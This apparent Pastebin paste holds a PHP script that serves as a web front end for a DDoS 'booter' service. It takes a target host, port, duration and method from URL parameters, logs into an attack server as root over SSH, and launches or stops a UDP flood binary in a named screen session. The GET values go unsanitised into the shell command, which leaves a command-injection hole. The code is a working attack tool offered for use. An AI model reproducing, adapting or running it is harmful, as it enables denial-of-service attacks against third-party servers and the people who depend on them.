Advertisement
Guest User

Untitled

a guest
Jan 9th, 2017
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.85 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4.  
  5. //debut de la config
  6. $server_ip = ""; //Change to your ip
  7. $server_pass = ""; //Change to your pass
  8. $server_user = "root";
  9. //fin de la config
  10.  
  11. $host = $_GET['target'];
  12. $port = $_GET['port'];
  13. $time = $_GET['time'];
  14. $method = strtoupper($_GET['method']);
  15. $action = $_GET['action']; // ON to send & OFF to stop
  16. $username = $_GET['username']; // a username who identified the specified attack to stopped
  17.  
  18. if ($action == "ON") { // if action == ON
  19.  
  20. if ($method == "UDP") {
  21.  
  22. $command = " screen -dmS ".$username." ./udp ".$host." ".$port." 2 50 ".$time; // change to you script BUT DONT TOUCH OF screen -dmS ".$username."
  23.  
  24. }
  25.  
  26. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  27. if(!($con = ssh2_connect($server_ip, 422))){
  28. echo "Error: Connection Issue";
  29. } else {
  30.  
  31. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  32. echo "Error: Bad Login";
  33. } else {
  34.  
  35. if (!($stream = ssh2_exec($con, $command ))) {
  36. echo "Error: Unable to Execute Command\n";
  37. } else {
  38.  
  39. stream_set_blocking($stream, false);
  40. $data = "";
  41. while ($buf = fread($stream,4096)) {
  42. $data .= $buf;
  43. }
  44. echo "Attaque sent";
  45. fclose($stream);
  46.  
  47. }
  48.  
  49. }
  50. }
  51. }
  52.  
  53. else {
  54.  
  55. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  56. if(!($con = ssh2_connect($server_ip, 422))){
  57. echo "Error: Connection Issue";
  58. } else {
  59.  
  60. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  61. echo "Error: Bad Login";
  62. } else {
  63.  
  64. $command3 = " screen -XS ".$username." quit"; // command to stop attack
  65. if (!($stream = ssh2_exec($con, $command3 ))) {
  66. echo "don't work";
  67. }
  68.  
  69. else {
  70.  
  71. echo "attack stopped";
  72.  
  73. }
  74.  
  75. }
  76. }
  77. }
  78.  
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement